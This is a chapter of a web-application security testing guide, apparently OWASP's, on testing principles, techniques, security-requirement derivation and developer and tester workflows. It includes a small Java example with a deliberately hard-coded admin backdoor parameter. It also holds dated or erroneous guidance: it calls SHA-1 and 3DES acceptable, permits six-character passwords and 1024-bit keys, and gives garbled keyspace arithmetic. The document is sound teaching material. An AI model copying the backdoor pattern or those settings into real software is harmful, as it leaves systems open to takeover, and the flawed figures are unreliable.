When a bug is detected early within the SDLC, it can be addressed more quickly and at a lower cost. A security bug is no different from a functional or performance-based bug in this regard. A key step in making this possible is to educate the development and QA organizations about common security issues and the ways to detect and prevent them. Although new libraries, tools, or languages might help design better programs (with fewer security bugs), new threats arise constantly and developers must be aware of those that affect the software they are developing. Education in security testing also helps developers acquire the appropriate mindset to test an application from an attacker's perspective. This allows each organization to consider security issues as part of their existing responsibilities.
 
'''Understand the Scope of Security''' 
It is important to know how much security a given project will require. The information and assets that are to be protected should be given a classification that states how they are to be handled (e.g., Confidential, Secret, Top Secret). Discussions should occur with legal council to ensure that any specific security need will be met. In the USA they might come from federal regulations, such as the Gramm-Leach-Bliley Act [8], or from state laws, such as the California SB-1386 [9]. For organizations based in EU countries, both country-specific regulation and EU Directives might apply. For example, Directive 96/46/EC4 [10] makes it mandatory to treat personal data in applications with due care, whatever the application.
 
'''Develop the Right Mindset''' 
Successfully testing an application for security vulnerabilities requires thinking "outside of the box." Normal use cases will test the normal behavior of the application when a user is using it in the manner that you expect. Good security testing requires going beyond what is expected and thinking like an attacker who is trying to break the application. Creative thinking can help to determine what unexpected data may cause an application to fail in an insecure manner. It can also help find what assumptions made by web developers are not always true and how they can be subverted. This is one of the reasons why automated tools are actually bad at automatically testing for vulnerabilities: this creative thinking must be done on a case-by-case basis and most web applications are being developed in a unique way (even if using common frameworks).
 
'''Understand the Subject''' 
One of the first major initiatives in any good security program should be to require accurate documentation of the application. The architecture, data-flow diagrams, use cases, and more should be written in formal documents and made available for review. The technical specification and application documents should include information that lists not only the desired use cases, but also any specifically disallowed use case. Finally, it is good to have at least a basic security infrastructure that allows the monitoring and trending of attacks against an organization's applications and network (e.g., IDS systems).
 
'''Use the Right Tools''' 
While we have already stated that there is no silver bullet tool, tools do play a critical role in the overall security program. There is a range of open source and commercial tools that can automate many routine security tasks. These tools can simplify and speed up the security process by assisting security personnel in their tasks. It is important to understand exactly what these tools can and cannot do, however, so that they are not oversold or used incorrectly.
 
'''The Devil is in the Details''' 
It is critical not to perform a superficial security review of an application and consider it complete. This will instill a false sense of confidence that can be as dangerous as not having done a security review in the first place. It is vital to carefully review the findings and weed out any false positive that may remain in the report. Reporting an incorrect security finding can often undermine the valid message of the rest of a security report. Care should be taken to verify that every possible section of application logic has been tested, and that every use case scenario was explored for possible vulnerabilities.
 
'''Use Source Code When Available''' 
While black box penetration test results can be impressive and useful to demonstrate how vulnerabilities are exposed in production, they are not the most effective way to secure an application. If the source code for the application is available, it should be given to the security staff to assist them while performing their review. It is possible to discover vulnerabilities within the application source that would be missed during a black box engagement.
 
'''Develop Metrics''' 
An important part of a good security program is the ability to determine if things are getting better. It is important to track the results of testing engagements, and develop metrics that will reveal the application security trends within the organization. These metrics can show if more education and training are required, if there is a particular security mechanism that is not clearly understood by development, and if the total number of security related problems being found each month is going down. Consistent metrics that can be generated in an automated way from available source code will also help the organization in assessing the effectiveness of mechanisms introduced to reduce security bugs in software development. Metrics are not easily developed, so using standard metrics like those provided by the OWASP Metrics project and other organizations might be a good head start. 
'''Document the Test Results''' 
To conclude the testing process, it is important to produce a formal record of what testing actions were taken, by whom, when they ware performed, and details of the test findings. It is wise to agree on an acceptable format for the report which is useful to all concerned parties, which may include developers, project management, business owners, IT department, audit, and compliance. The report must be clear to the business owner in identifying where material risks exist and sufficient to get their backing for subsequent mitigation actions. The report must be clear to the developer in pin-pointing the exact function that is affected by the vulnerability, with associated recommendations for resolution in a language that the developer will understand (no pun intended). Last but not least, the report writing should not be overly burdensome on the security tester themselves; security testers are not generally renowned for their creative writing skills, therefore agreeing on a complex report can lead to instances where test results do not get properly documented.

==Testing Techniques Explained==

This section presents a high-level overview of various testing techniques that can be employed when building a testing program. It does not present specific methodologies for these techniques, although Chapter 3 will address this information. This section is included to provide context for the framework presented in the next hapter and to highlight the advantages and disadvantages of some of the techniques that should be considered. In particular, we will cover:
* Manual Inspections & Reviews
* Threat Modeling
* Code Review
* Penetration Testing

=== Manual Inspections & Reviews ===
'''Overview''' 
Manual inspections are human-driven reviews that typically test the security implications of the people, policies, and processes, but can include inspection of technology decisions such as architectural designs. They are usually conducted by analyzing documentation or performing interviews with the designers or system owners. While the concept of manual inspections and human reviews is simple, they can be among the most powerful and effective techniques available. By asking someone how something works and why it was implemented in a specific way, it allows the tester to quickly determine if any security concerns are likely to be evident. Manual inspections and reviews are one of the few ways to test the software development life-cycle process itself and to ensure that there is an adequate policy or skill set in place. As with many things in life, when conducting manual inspections and reviews we suggest you adopt a trust-but-verify model. Not everything everyone tells you or shows you will be accurate. Manual reviews are particularly good for testing whether people understand the security process, have been made aware of policy, and have the appropriate skills to design or implement a secure application. Other activities, including manually reviewing the documentation, secure coding policies, security requirements, and architectural designs, should all be accomplished using manual inspections.

'''Advantages:'''
* Requires no supporting technology
* Can be applied to a variety of situations
* Flexible
* Promotes teamwork
* Early in the SDLC

'''Disadvantages:'''
* Can be time consuming
* Supporting material not always available
* Requires significant human thought and skill to be effective!

=== Threat Modeling ===
'''Overview''' 
Threat modeling has become a popular technique to help system designers think about the security threats that their systems/applications might face. Therefore, threat modeling can be seen as risk assessment for applications. In fact, it enables the designer to develop mitigation strategies for potential vulnerabilities and helps them focus their inevitably limited resources and attention on the parts of the system that most require it. It is recommended that all applications have a threat model developed and documented. Threat models should be created as early as possible in the SDLC, and should be revisited as the application evolves and development progresses. To develop a threat model, we recommend taking a simple approach that follows the NIST 800-30 [11] standard for risk assessment. This approach involves:
* Decomposing the application – understand, through a process of manual inspection, how the application works, its assets, functionality, and connectivity.
* Defining and classifying the assets – classify the assets into tangible and intangible assets and rank them according to business importance.
* Exploring potential vulnerabilities - whether technical, operational, or management.
* Exploring potential threats – develop a realistic view of potential attack vectors from an attacker’s perspective, by using threat scenarios or attack trees.
* Creating mitigation strategies – develop mitigating controls for each of the threats deemed to be realistic. The output from a threat model itself can vary but is typically a collection of lists and diagrams. The OWASP Code Review Guide outlines an Application Threat Modeling methodology that can be used as a reference for the testing applications for potential security flaws in the design of the application. There is no right or wrong way to develop threat models and perform information risk assessments on applications. [12]. 

'''Advantages:'''
* Practical attacker's view of the system
* Flexible
* Early in the SDLC

'''Disadvantages: '''
* Relatively new technique
* Good threat models don’t automatically mean good software

=== Source Code Review ===
'''Overview''' 
Source code review is the process of manually checking a web application's source code for security issues. Many serious security vulnerabilities cannot be detected with any other form of analysis or testing. As the popular saying goes “if you want to know what’s really going on, go straight to the source." Almost all security experts agree that there is no substitute for actually looking at the code. All the information for identifying security problems is there in the code somewhere. Unlike testing third party closed software such as operating systems, when testing web applications (especially if they have been developed in-house) the source code should be made available for testing purposes. Many unintentional but significant security problems are also extremely difficult to discover with other forms of analysis or testing, such as penetration testing, making source code analysis the technique of choice for technical testing. With the source code, a tester can accurately determine what is happening (or is supposed to be happening) and remove the guess work of black box testing. Examples of issues that are particularly conducive to being found through source code reviews include concurrency problems, flawed business logic, access control problems, and cryptographic weaknesses as well as backdoors, Trojans, Easter eggs, time bombs, logic bombs, and other forms of malicious code. These issues often manifest themselves as the most harmful vulnerabilities in web sites. Source code analysis can also be extremely efficient to find implementation issues such as places where input validation was not performed or when fail open control procedures may be present. But keep in mind that operational procedures need to be reviewed as well, since the source code being deployed might not be the same as the one being analyzed herein [13]. 

'''Advantages:'''
* Completeness and effectiveness
* Accuracy
* Fast (for competent reviewers)

'''Disadvantages:'''
* Requires highly skilled security developers
* Can miss issues in compiled libraries
* Cannot detect run-time errors easily
* The source code actually deployed might differ from the one being analyzed

'''For more on code review, checkout the [[OWASP Code Review Project|OWASP code review project]]'''. 

=== Penetration Testing ===
'''Overview''' 
Penetration testing has been a common technique used to test network security for many years. It is also commonly known as black box testing or ethical hacking. Penetration testing is essentially the “art” of testing a running application remotely, without knowing the inner workings of the application itself, to find security vulnerabilities. Typically, the penetration test team would have access to an application as if they were users. The tester acts like an attacker and attempts to find and exploit vulnerabilities. In many cases the tester will be given a valid account on the system. While penetration testing has proven to be effective in network security, the technique does not naturally translate to applications. When penetration testing is performed on networks and operating systems, the majority of the work is involved in finding and then exploiting known vulnerabilities in specific technologies. As web applications are almost exclusively bespoke, penetration testing in the web application arena is more akin to pure research. Penetration testing tools have been developed that automate the process, but, again, with the nature of web applications their effectiveness is usually poor. Many people today use web application penetration testing as their primary security testing technique. Whilst it certainly has its place in a testing program, we do not believe it should be considered as the primary or only testing technique. Gary McGraw in [14] summed up penetration testing well when he said, “If you fail a penetration test you know you have a very bad problem indeed. If you pass a penetration test you do not know that you don’t have a very bad problem”. However, focused penetration testing (i.e., testing that attempts to exploit known vulnerabilities detected in previous reviews) can be useful in detecting if some specific vulnerabilities are actually fixed in the source code deployed on the web site. 

'''Advantages:'''
* Can be fast (and therefore cheap)
* Requires a relatively lower skill-set than source code review
* Tests the code that is actually being exposed

'''Disadvantages:'''
* Too late in the SDLC
* Front impact testing only!

=== The Need for a Balanced Approach ===
With so many techniques and so many approaches to testing the security of web applications, it can be difficult to understand which techniques to use and when to use them.
Experience shows that there is no right or wrong answer to exactly what techniques should be used to build a testing framework. The fact remains that all techniques should probably be used to ensure that all areas that need to be tested are tested. What is clear, however, is that there is no single technique that effectively covers all security testing that must be performed to ensure that all issues have been addressed. Many companies adopt one approach, which has historically been penetration testing. Penetration testing, while useful, cannot effectively address many of the issues that need to be tested, and is simply “too little too late” in the software development life cycle (SDLC).
The correct approach is a balanced one that includes several techniques, from manual interviews to technical testing. The balanced approach is sure to cover testing in all phases of the SDLC. This approach leverages the most appropriate techniques available depending on the current SDLC phase.
Of course there are times and circumstances where only one technique is possible; for example, a test on a web application that has already been created, and where the testing party does not have access to the source code. In this case, penetration testing is clearly better than no testing at all. However, we encourage the testing parties to challenge assumptions, such as no access to source code, and to explore the possibility of more complete testing.
A balanced approach varies depending on many factors, such as the maturity of the testing process and corporate culture. However, it is recommended that a balanced testing framework look something like the representations shown in Figure 3 and Figure 4. The following figure shows a typical proportional representation overlaid onto the software development life cycle. In keeping with research and experience, it is essential that companies place a higher emphasis on the early stages of development.
<center>
[[Image:ProportionSDLC.png]]
 ''Figure 3: Proportion of Test Effort in SDLC''
</center>
The following figure shows a typical proportional representation overlaid onto testing techniques. 
<center>
[[Image:ProportionTest.png]]
 ''Figure 4: Proportion of Test Effort According to Test Technique''
</center>

'''A Note about Web Application Scanners''' 
Many organizations have started to use automated web application scanners. While they undoubtedly have a place in a testing program, we want to highlight some fundamental issues about why we do not believe that automating black box testing is (or will ever be) effective. By highlighting these issues, we are not discouraging web application scanner use. Rather, we are saying that their limitations should be understood, and testing frameworks should be planned appropriately.
NB: OWASP is currently working to develop a web application scanner-benchmarking platform. The following examples indicate why automated black box testing is not effective.
 
'''Example 1: Magic Parameters''' 
Imagine a simple web application that accepts a name-value pair of “magic” and then the value. For simplicity, the GET request may be: ''<nowiki>http://www.host/application?magic=value</nowiki>'' To further simplify the example, the values in this case can only be ASCII characters a – z (upper or lowercase) and integers 0 – 9. The designers of this application created an administrative backdoor during testing, but obfuscated it to prevent the casual observer from discovering it. By submitting the value sf8g7sfjdsurtsdieerwqredsgnfg8d (30 characters), the user will then be logged in and presented with an administrative screen with total control of the application. The HTTP request is now: ''<nowiki>http://www.host/application?magic= sf8g7sfjdsurtsdieerwqredsgnfg8d </nowiki>'' 
Given that all of the other parameters were simple two- and three-characters fields, it is not possible to start guessing combinations at approximately 28 characters. A web application scanner will need to brute force (or guess) the entire key space of 30 characters. That is up to 30^28 permutations, or trillions of HTTP requests! That is an electron in a digital haystack!
The code for this exemplar Magic Parameter check may look like the following: 
public void doPost( HttpServletRequest request, HttpServletResponse response)
{
String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;
boolean admin = magic.equals( request.getParameter(“magic”));
if (admin) doAdmin( request, response);
else …. // normal processing
}
By looking in the code, the vulnerability practically leaps off the page as a potential problem.
 
'''Example 2: Bad Cryptography''' 
Cryptography is widely used in web applications. Imagine that a developer decided to write a simple cryptography algorithm to sign a user in from site A to site B automatically. In his/her wisdom, the developer decides that if a user is logged into site A, then he/she will generate a key using an MD5 hash function that comprises: ''Hash { username : date }'' 
When a user is passed to site B, he/she will send the key on the query string to site B in an HTTP re-direct. Site B independently computes the hash, and compares it to the hash passed on the request. If they match, site B signs the user in as the user they claim to be. Clearly, as we explain the scheme, the inadequacies can be worked out, and it can be seen how anyone that figures it out (or is told how it works, or downloads the information from Bugtraq) can login as any user. Manual inspection, such as an interview, would have uncovered this security issue quickly, as would inspection of the code. A black-box web application scanner would have seen a 128-bit hash that changed with each user, and by the nature of hash functions, did not change in any predictable way.
 
'''A Note about Static Source Code Review Tools''' 
Many organizations have started to use static source code scanners. While they undoubtedly have a place in a comprehensive testing program, we want to highlight some fundamental issues about why we do not believe this approach is effective when used alone. Static source code analysis alone cannot identify issues due to flaws in the design since it cannot understand the context in which the code is constructed. Source code analysis tools are useful in determining security issues due to coding errors, however significant manual effort is required to validate the findings.
 

==Security Requirements Test Derivation==
If you want to have a successful testing program, you need to know what the objectives of the testing are. These objectives are specified by security requirements. This section discusses in detail how to document requirements for security testing by deriving them from applicable standards and regulations and positive and negative application requirements. It also discusses how security requirements effectively drive security testing during the SDLC and how security test data can be used to effectively manage software security risks.

'''Testing Objectives''' 
One of the objectives of security testing is to validate that security controls function as expected. This is documented via ''security requirements'' that describe the functionality of the security control. At a high level, this means proving confidentiality, integrity, and availability of the data as well as the service. The other objective is to validate that security controls are implemented with few or no vulnerabilities. These are common vulnerabilities, such as the [[OWASP Top Ten]], as well as vulnerabilities that are previously identified with security assessments during the SDLC, such as threat modeling, source code analysis, and penetration test.

'''Security Requirements Documentation''' 
The first step in the documentation of security requirements is to understand the ''business requirements''. A business requirement document could provide the initial, high-level information of the expected functionality for the application. For example, the main purpose of an application may be to provide financial services to customers or shopping and purchasing goods from an on-line catalogue. A security section of the business requirements should highlight the need to protect the customer data as well as to comply with applicable security documentation such as regulations, standards, and policies.

A general checklist of the applicable regulations, standards, and policies serves well the purpose of a preliminary security compliance analysis for web applications. For example, compliance regulations can be identified by checking information about the business sector and the country/state where the application needs to function/operate. Some of these compliance guidelines and regulations might translate in specific technical requirements for security controls. For example, in the case of financial applications, the compliance with FFIEC guidelines for authentication [15] requires that financial institutions implement applications that mitigate weak authentication risks with multi-layered security control and multi factor authentication.

Applicable industry standards for security need also to be captured by the general security requirement checklist. For example, in the case of applications that handle customer credit card data, the compliance with the PCI DSS [16] standard forbids the storage of PINs and CVV2 data and requires that the merchant protect magnetic strip data in storage and transmission with encryption and on display by masking. Such PCI DSS security requirements could be validated via source code analysis.

Another section of the checklist needs to enforce general requirements for compliance with the organization information security standards and policies. From the functional requirements perspective, requirements for the security control need to map to a specific section of the information security standards. An example of such requirement can be: "a password complexity of six alphanumeric characters must be enforced by the authentication controls used by the application." When security requirements map to compliance rules a security test can validate the exposure of compliance risks. If violation with information security standards and policies are found, these will result in a risk that can be documented and that the business has to deal with (i.e., manage). For this reason, since these security compliance requirements are enforceable, they need to be well documented and validated with security tests.

'''Security Requirements Validation''' 
From the functionality perspective, the validation of security requirements is the main objective of security testing, while, from the risk management perspective, this is the objective of information security assessments. At a high level, the main goal of information security assessments is the identification of gaps in security controls, such as lack of basic authentication, authorization, or encryption controls. More in depth, the security assessment objective is risk analysis, such as the identification of potential weaknesses in security controls that ensure the confidentiality, integrity, and availability of the data. For example, when the application deals with personal identifiable information (PII) and sensitive data, the security requirement to be validated is the compliance with the company information security policy requiring encryption of such data in transit and in storage. Assuming encryption is used to protect the data, encryption algorithms and key lengths need to comply with the organization encryption standards. These might require that only certain algorithms and key lengths could be used. For example, a security requirement that can be security tested is verifying that only allowed ciphers are used (e.g., SHA-1, RSA, 3DES) with allowed minimum key lengths (e.g., more than 128 bit for symmetric and more than 1024 for asymmetric encryption).

From the security assessment perspective, security requirements can be validated at different phases of the SDLC by using different artifacts and testing methodologies. For example, threat modeling focuses on identifying security flaws during design, secure code analysis and reviews focus on identifying security issues in source code during development, and penetration testing focuses on identifying vulnerabilities in the application during testing/validation.

Security issues that are identified early in the SDLC can be documented in a test plan so they can be validated later with security tests. By combining the results of different testing techniques, it is possible to derive better security test cases and increase the level of assurance of the security requirements. For example, distinguishing true vulnerabilities from the un-exploitable ones is possible when the results of penetration tests and source code analysis are combined. Considering the security test for a SQL injection vulnerability, for example, a black box test might involve first a scan of the application to fingerprint the vulnerability. The first evidence of a potential SQL injection vulnerability that can be validated is the generation of a SQL exception. A further validation of the SQL vulnerability might involve manually injecting attack vectors to modify the grammar of the SQL query for an information disclosure exploit. This might involve a lot of trial-and-error analysis till the malicious query is executed. Assuming the tester has the source code, she might learn from the source code analysis on how to construct the SQL attack vector that can exploit the vulnerability (e.g., execute a malicious query returning confidential data to unauthorized user).

'''Threats and Countermeasures Taxonomies''' 
A ''threat and countermeasure classification'' that takes into consideration root causes of vulnerabilities is the critical factor to verify that security controls are designed, coded, and built so that the impact due to the exposure of such vulnerabilities is mitigated. In the case of web applications, the exposure of security controls to common vulnerabilities, such as the OWASP Top Ten, can be a good starting point to derive general security requirements. More specifically, the web application security frame [17] provides a classification (e.g. taxonomy) of vulnerabilities that can be documented in different guidelines and standards and validated with security tests.

The focus of a threat and countermeasure categorization is to define security requirements in terms of the threats and the root cause of the vulnerability. A threat can be categorized by using STRIDE [18], for example, as Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege. The root cause can be categorized as security flaw in design, a security bug in coding, or an issue due to insecure configuration. For example, the root cause of weak authentication vulnerability might be the lack of mutual authentication when data crosses a trust boundary between the client and server tiers of the application. A security requirement that captures the threat of non-repudiation during an architecture design review allows for the documentation of the requirement for the countermeasure (e.g., mutual authentication) that can be validated later on with security tests.

A threat and countermeasure categorization for vulnerabilities can also be used to document security requirements for secure coding such as secure coding standards. An example of a common coding error in authentication controls consists of applying an hash function to encrypt a password, without applying a seed to the value. From the secure coding perspective, this is a vulnerability that affects the encryption used for authentication with a vulnerability root cause in a coding error. Since the root cause is insecure coding the security requirement can be documented in secure coding standards and validated through secure code reviews during the development phase of the SDLC.

'''Security Testing and Risk Analysis''' 
Security requirements need to take into consideration the severity of the vulnerabilities to support a ''risk mitigation strategy''. Assuming that the organization maintains a repository of vulnerabilities found in applications, i.e., a vulnerability knowledge base, the security issues can be reported by type, issue, mitigation, root cause, and mapped to the applications where they are found. Such a vulnerability knowledge base can also be used to establish a metrics to analyze the effectiveness of the security tests throughout the SDLC.

For example, consider an input validation issue, such as a SQL injection, which was identified via source code analysis and reported with a coding error root cause and input validation vulnerability type. The exposure of such vulnerability can be assessed via a penetration test, by probing input fields with several SQL injection attack vectors. This test might validate that special characters are filtered before hitting the database and mitigate the vulnerability. By combining the results of source code analysis and penetration testing it is possible to determine the likelihood and exposure of the vulnerability and calculate the risk rating of the vulnerability. By reporting vulnerability risk ratings in the findings (e.g., test report) it is possible to decide on the mitigation strategy. For example, high and medium risk vulnerabilities can be prioritized for remediation, while low risk can be fixed in further releases.

By considering the threat scenarios exploiting common vulnerabilities it is possible to identify potential risks for which the application security control needs to be security tested. For example, the OWASP Top Ten vulnerabilities can be mapped to attacks such as phishing, privacy violations, identify theft, system compromise, data alteration or data destruction, financial loss, and reputation loss. Such issues should be documented as part of the threat scenarios. By thinking in terms of threats and vulnerabilities, it is possible to devise a battery of tests that simulate such attack scenarios. Ideally, the organization vulnerability knowledge base can be used to derive security risk driven tests cases to validate the most likely attack scenarios. For example if identity theft is considered high risk, negative test scenarios should validate the mitigation of impacts deriving from the exploit of vulnerabilities in authentication, cryptographic controls, input validation, and authorization controls.

===Functional and Non Functional Test Requirements===
'''Functional Security Requirements''' 
From the perspective of functional security requirements, the applicable standards, policies and regulations drive both the need of a type of security control as well as the control functionality. These requirements are also referred to as “positive requirements”, since they state the expected functionality that can be validated through security tests.
Examples of positive requirements are: “the application will lockout the user after six failed logon attempts” or “passwords need to be six min characters, alphanumeric”. The validation of positive requirements consists of asserting the expected functionality and, as such, can be tested by re-creating the testing conditions, and by running the test according to predefined inputs and by asserting the expected outcome as a fail/pass condition.

In order to validate security requirements with security tests, security requirements need to be function driven and highlight the expected functionality (the what) and implicitly the implementation (the how). Examples of high-level security design requirements for authentication can be:
*Protect user credentials and shared secrets in transit and in storage
*Mask any confidential data in display (e.g., passwords, accounts)
*Lock the user account after a certain number of failed login attempts
*Do not show specific validation errors to the user as a result of failed logon
*Only allow passwords that are alphanumeric, include special characters and six characters minimum length, to limit the attack surface
*Allow for password change functionality only to authenticated users by validating the old password, the new password, and the user answer to the challenge question, to prevent brute forcing of a password via password change.
*The password reset form should validate the user’s username and the user’s registered email before sending the temporary password to the user via email. The temporary password issued should be a one time password. A link to the password reset web page will be sent to the user. The password reset web page should validate the user temporary password, the new password, as well as the user answer to the challenge question.

'''Risk Driven Security Requirements''' 
Security tests need also to be risk driven, that is they need to validate the application for unexpected behavior. These are also called “negative requirements”, since they specify what the application should not do.
Examples of "should not do" (negative) requirements are:
* The application should not allow for the data to be altered or destroyed
* The application should not be compromised or misused for unauthorized financial transactions by a malicious user.

Negative requirements are more difficult to test, because there is no expected behavior to look for. This might require a threat analyst to come up with unforeseeable input conditions, causes, and effects. This is where security testing needs to be driven by risk analysis and threat modeling.
The key is to document the threat scenarios and the functionality of the countermeasure as a factor to mitigate a threat. For example, in the case of authentication controls, the following security requirements can be documented from the threats and countermeasure perspective:
*Encrypt authentication data in storage and transit to mitigate risk of information disclosure and authentication protocol attacks
*Encrypt passwords using non reversible encryption such as using a digest (e.g., HASH) and a seed to prevent dictionary attacks
*Lock out accounts after reaching a logon failure threshold and enforce password complexity to mitigate risk of brute force password attacks
*Display generic error messages upon validation of credentials to mitigate risk of account harvesting/enumeration
*Mutually authenticate client and server to prevent non-repudiation and Man In the Middle (MiTM) attacks

Threat modeling artifacts such as threat trees and attack libraries can be useful to derive the negative test scenarios. A threat tree will assume a root attack (e.g., attacker might be able to read other users' messages) and identify different exploits of security controls (e.g., data validation fails because of a SQL injection vulnerability) and necessary countermeasures (e.g., implement data validation and parametrized queries) that could be validated to be effective in mitigating such attacks.

===Security Requirements Derivation Through Use and Misuse Cases===
Pre-requisite in describing the application functionality is to understand what the application is supposed to do and how. This can be done by describing ''use cases''. Use cases, in the graphical form as commonly used in software engineering, show the interactions of actors and their relations, and help to identify the actors in the application, their relationships, the intended sequence of actions for each scenario, alternative actions, special requirements, and pre- and post-conditions. Similar to use cases, ''misuse and abuse cases'' [19] describe unintended and malicious use scenarios of the application. These misuse cases provide a way to describe scenarios of how an attacker could misuse and abuse the application. By going through the individual steps in a use scenario and thinking about how it can be maliciously exploited, potential flaws or aspects of the application that are not well-defined can be discovered. The key is to describe all possible or, at least, the most critical use and misuse scenarios. Misuse scenarios allow the analysis of the application from the attacker's point of view and contribute to identifying potential vulnerabilities and the countermeasures that need to be implemented to mitigate the impact caused by the potential exposure to such vulnerabilities. Given all of the use and abuse cases, it is important to analyze them to determine which of them are the most critical ones and need to be documented in security requirements. The identification of the most critical misuse and abuse cases drives the documentation of security requirements and the necessary controls where security risks should be mitigated.

To derive security requirements from use and misuse case [20] , it is important to define the functional scenarios and the negative scenarios, and put these in graphical form. In the case of derivation of security requirements for authentication, for example, the following step-by-step methodology can be followed.

*Step 1: Describe the Functional Scenario: User authenticates by supplying username and password. The application grants access to users based upon authentication of user credentials by the application and provides specific errors to the user when validation fails.

*Step 2: Describe the Negative Scenario: Attacker breaks the authentication through a brute force/dictionary attack of passwords and account harvesting vulnerabilities in the application. The validation errors provide specific information to an attacker to guess which accounts are actually valid, registered accounts (usernames). The attacker, then, will try to brute force the password for such a valid account. A brute force attack to four minimum length all digit passwords can succeed with a limited number of attempts (i.e., 10^4).

*Step 3: Describe Functional and Negative Scenarios With Use and Misuse Case: The graphical example in Figure below depicts the derivation of security requirements via use and misuse cases. The functional scenario consists of the user actions (entering username and password) and the application actions (authenticating the user and providing an error message if validation fails). The misuse case consists of the attacker actions, i.e., trying to break authentication by brute forcing the password via a dictionary attack and by guessing the valid usernames from error messages. By graphically representing the threats to the user actions (misuses), it is possible to derive the countermeasures as the application actions that mitigate such threats.
[[Image:UseAndMisuseCase.jpg]]

*Step 4: Elicit The Security Requirements. In this case, the following security requirements for authentication are derived:
:1) Passwords need to be alphanumeric, lower and upper case and minimum of seven character length
:2) Accounts need to lockout after five unsuccessful login attempt
:3) Logon error messages need to be generic
These security requirements need to be documented and tested.

===Security Tests Integrated in Developers' and Testers' Workflows===
'''Developers' Security Testing Workflow''' 
Security testing during the development phase of the SDLC represents the first opportunity for developers to ensure that individual software components that they have developed are security tested before they are integrated with other components and built into the application. Software components might consist of software artifacts such as functions, methods, and classes, as well as application programming interfaces, libraries, and executables. For security testing, developers can rely on the results of the source code analysis to verify statically that the developed source code does not include potential vulnerabilities and is compliant with the secure coding standards. Security unit tests can further verify dynamically (i.e., at run time) that the components function as expected. Before integrating both new and existing code changes in the application build, the results of the static and dynamic analysis should be reviewed and validated.
The validation of source code before integration in application builds is usually the responsibility of the senior developer. Such senior developer is also the subject matter expert in software security and his role is to lead the secure code review and make decisions whether to accept the code to be released in the application build or to require further changes and testing. This secure code review workflow can be enforced via formal acceptance as well as a check in a workflow management tool. For example, assuming the typical defect management workflow used for functional bugs, security bugs that have been fixed by a developer can be reported on a defect or change management system. The build master can look at the test results reported by the developers in the tool and grant approvals for checking in the code changes into the application build.

'''Testers' Security Testing Workflow''' 
After components and code changes are tested by developers and checked in to the application build, the most likely next step in the software development process workflow is to perform tests on the application as a whole entity. This level of testing is usually referred to as integrated test and system level test. When security tests are part of these testing activities, they can be used to validate both the security functionality of the application as a whole, as well as the exposure to application level vulnerabilities. These security tests on the application include both white box testing, such as source code analysis, and black box testing, such as penetration testing. Gray box testing is similar to Black box testing. In a gray box testing we can assume we have some partial knowledge about the session management of our application, and that should help us in understanding whether the logout and timeout functions are properly secured.

The target for the security tests is the complete system that is the artifact that will be potentially attacked and includes both whole source code and the executable. One peculiarity of security testing during this phase is that it is possible for security testers to determine whether vulnerabilities can be exploited and expose the application to real risks.
These include common web application vulnerabilities, as well as security issues that have been identified earlier in the SDLC with other activities such as threat modeling, source code analysis, and secure code reviews.

Usually, testing engineers, rather then software developers, perform security tests when the application is in scope for integration system tests. Such testing engineers have security knowledge of web application vulnerabilities, black box and white box security testing techniques, and own the validation of security requirements in this phase. In order to perform such security tests, it is a pre-requisite that security test cases are documented in the security testing guidelines and procedures.

A testing engineer who validates the security of the application in the integrated system environment might release the application for testing in the operational environment (e.g., user acceptance tests). At this stage of the SDLC (i.e., validation), the application functional testing is usually a responsibility of QA testers, while white-hat hackers/security consultants are usually responsible for security testing. Some organizations rely on their own specialized ethical hacking team in order to conduct such tests when a third party assessment is not required (such as for auditing purposes).

Since these tests are the last resort for fixing vulnerabilities before the application is released to production, it is important that such issues are addressed as recommended by the testing team (e.g., the recommendations can include code, design, or configuration change). At this level, security auditors and information security officers discuss the reported security issues and analyze the potential risks according to information risk management procedures. Such procedures might require the developer team to fix all high risk vulnerabilities before the application could be deployed, unless such risks are acknowledged and accepted.

===Developers' Security Tests===
'''Security Testing in the Coding Phase: Unit Tests''' 
From the developer’s perspective, the main objective of security tests is to validate that code is being developed in compliance with secure coding standards requirements. Developers' own coding artifacts such as functions, methods, classes, APIs, and libraries need to be functionally validated before being integrated into the application build.

The security requirements that developers have to follow should be documented in secure coding standards and validated with static and dynamic analysis. As testing activity following a secure code review, unit tests can validate that code changes required by secure code reviews are properly implemented. Secure code reviews and source code analysis through source code analysis tools help developers in identifying security issues in source code as it is developed. By using unit tests and dynamic analysis (e.g., debugging) developers can validate the security functionality of components as well as verify that the countermeasures being developed mitigate any security risks previously identified through threat modeling and source code analysis.

A good practice for developers is to build security test cases as a generic security test suite that is part of the existing unit testing framework. A generic security test suite could be derived from previously defined use and misuse cases to security test functions, methods and classes. A generic security test suite might include security test cases to validate both positive and negative requirements for security controls such as:
* Authentication & Access Control
* Input Validation & Encoding
* Encryption
* User and Session Management
* Error and Exception Handling
* Auditing and Logging

Developers empowered with a source code analysis tool integrated into their IDE, secure coding standards, and a security unit testing framework can assess and verify the security of the software components being developed. Security test cases can be run to identify potential security issues that have root causes in source code: besides input and output validation of parameters entering and exiting the components, these issues include authentication and authorization checks done by the component, protection of the data within the component, secure exception and error handling, and secure auditing and logging. Unit test frameworks such as Junit, Nunit, and CUnit can be adapted to verify security test requirements. In the case of security functional tests, unit level tests can test the functionality of security controls at the software component level, such as functions, methods, or classes. For example, a test case could validate input and output validation (e.g., variable sanitization) and boundary checks for variables by asserting the expected functionality of the component.

The threat scenarios identified with use and misuse cases can be used to document the procedures for testing software components. In the case of authentication components, for example, security unit tests can assert the functionality of setting an account lockout as well as the fact that user input parameters cannot be abused to bypass the account lockout (e.g., by setting the account lockout counter to a negative number). At the component level, security unit tests can validate positive assertions as well as negative assertions, such as errors and exception handling. Exceptions should be caught without leaving the system in an insecure state, such as potential denial of service caused by resources not being deallocated (e.g., connection handles not closed within a final statement block), as well as potential elevation of privileges (e.g., higher privileges acquired before the exception is thrown and not re-set to the previous level before exiting the function). Secure error handling can validate potential information disclosure via informative error messages and stack traces.

Unit level security test cases can be developed by a security engineer who is the subject matter expert in software security and is also responsible for validating that the security issues in the source code have been fixed and can be checked into the integrated system build. Typically, the manager of the application builds also makes sure that third-party libraries and executable files are security assessed for potential vulnerabilities before being integrated in the application build.

Threat scenarios for common vulnerabilities that have root causes in insecure coding can also be documented in the developer’s security testing guide. When a fix is implemented for a coding defect identified with source code analysis, for example, security test cases can verify that the implementation of the code change follows the secure coding requirements documented in the secure coding standards.

